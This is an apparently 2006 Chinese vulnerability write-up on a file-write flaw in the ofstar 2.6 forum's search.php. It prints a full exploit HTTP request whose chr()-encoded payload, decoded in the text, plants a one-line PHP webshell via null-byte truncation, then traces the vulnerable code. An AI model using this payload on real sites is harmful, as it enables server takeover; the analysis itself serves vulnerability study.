首页 | 新闻资讯 | 培训认证 | 安全管理 | 病毒分析 | 安全协议 | 网络安全 | 防火墙 | 黑客技术
DB安全 | Web安全 | 入侵检测 | 安全审计 | 设备安全 | 备份恢复 | 安全标准 | 法律法规 | 无线安全
OS安全 | PKI与PMI | 病毒防治 | 隔离网闸 | XML安全 | 网管专区 | 经典案例 | 技术论坛 |  
+ 文章搜索 +
当前位置:首页>>黑客技术>>漏洞研究>>正文
关键字:
范 围:
※推荐文章※
ofsatr 2.6搜索漏洞的简单分析
作者:lanker 文章出处:http://www.securityfaq.org/blog/lanker/ 发布时间:2006-03-10 点击: 字体: 【
    看到网上有类似的工具,但分析的文章却没找到,听小黑说黑客手册上有,可惜偶没有杂志,所以就抓包然后看下代码,大致分析了一下。这个漏洞很巧妙、也很经典 :)
GET /search.php?keyword=By%20CN911&cachefile=an85.php%2500&treadinfo=<?fputs(fop
en(chr(46).chr(47).chr(46).chr(46).chr(47).chr(46).chr(46).chr(47).chr(98).chr(98).chr(115).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(110).chr(57).chr(49).chr(49).chr(46).chr(112).chr(104).chr(112),w),chr(60).chr(63).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(59).chr(63).chr(62))?> HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 127.0.0.1
    这是我抓包的文件,从抓包的文件里可以看出有三个变量:$keyword、$cachefile、$treadinfo。其中$keyword可以为任意关键字;$cachefile必须为一PHP文件,这个就是我们的PHP SHELL后面紧跟着%2500既为%00截断字符;$treadinfo就是生成木马的代码,我没解码,但猜测是把一句话木马写到另一个PHP文件的PHP代码。
    PS:$treadinfo内容解码如下:
&treadinfo=<?fputs(fop
en(./../../bbsdata/cn911.php,w),<? eval($_POST[cmd]);?>)?>
    好了以上就是抓包得到的分析  让我们看下seach.PHP的代码吧,找出漏洞具体在哪儿。
    第N行代码如下:

$keyword=safeconvert($keyword);//把一些字符过滤掉了$keyword=rawurldecode($keyword);
$cachefile=rawurldecode($cachefile);

    rawurldecode 函数是对已编码的 URL 字符串进行解码,分别对$keyword和$cachefile进行URL 字符串进行解码。rawurldecode这个函数也是关键之一,%00 经过rawurldecode的包装后,在<PHP5.0下可以饶过GPC=ON起到截断作用。
    第N+N行代码如下
..................... 
$keywordarray=explode("│",$keyword); 
 $keycount=count($keywordarray); 
 if($sch_area=="C"){ 
  include'./require/schall.php'; 
 }elseif($sch_area=="A"){ 
  for ( $j = 0; $j < $keycount; $j++){ 
   $keywordarray[$j].="|";/*搜索作者准确匹配*/ 
  } 
  include'./require/schpart.php'; 
 }else{ 
  include'./require/schpart.php'; 
 } 
 if (!file_exists("userdata/cache/$cachefile.txt")){ 
  showmsg("没 有 您 要 查 找 的 内 容 <br><br><br><a href='search.php'>继 续 搜 索</a></li></ul>"); 
 } 
...............................
    这里调用了schall.php或schpart.php文件,我们在看这个两个文件schall.php和schpart.php文件最后一行代码是:
if($treadinfo)
 writeover("./userdata/cache/$cachefile.txt",$treadinfo,"ab");
    所以无论调用哪个文件都可以把treadinfo的内容写入缓存文件,因为变量$treadinfo没初始化,可以自定义SHELL代码,而$cachefile又可以自定义一个PHP文件,后面用%00截断TXT。所以这行代码就是把木马写到PHP文件中。
    到此漏洞产生的大致过程已经比较明确了  由于本人在网吧看的代码,也没具体测试。其中有些细节没指出,如有错误请指出。也非常佩服漏洞发现者SAIY的观察力。确实是个非常经典的漏洞 :)
返回顶部↑】 【推荐好友】 【查看评论
用户名: 新注册) 密码: 匿名评论 [查看评论] 发表评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
  Copyright © 2004-2005 infosecurity.org.cn . All Rights Reserved
版权所有:中国信息安全组织 系统管理:webmaster@infosecurity.net.cn
本站部分资源来自互联网,如有侵犯您的版权或其他问题,请通知管理员,我们会尽快处理!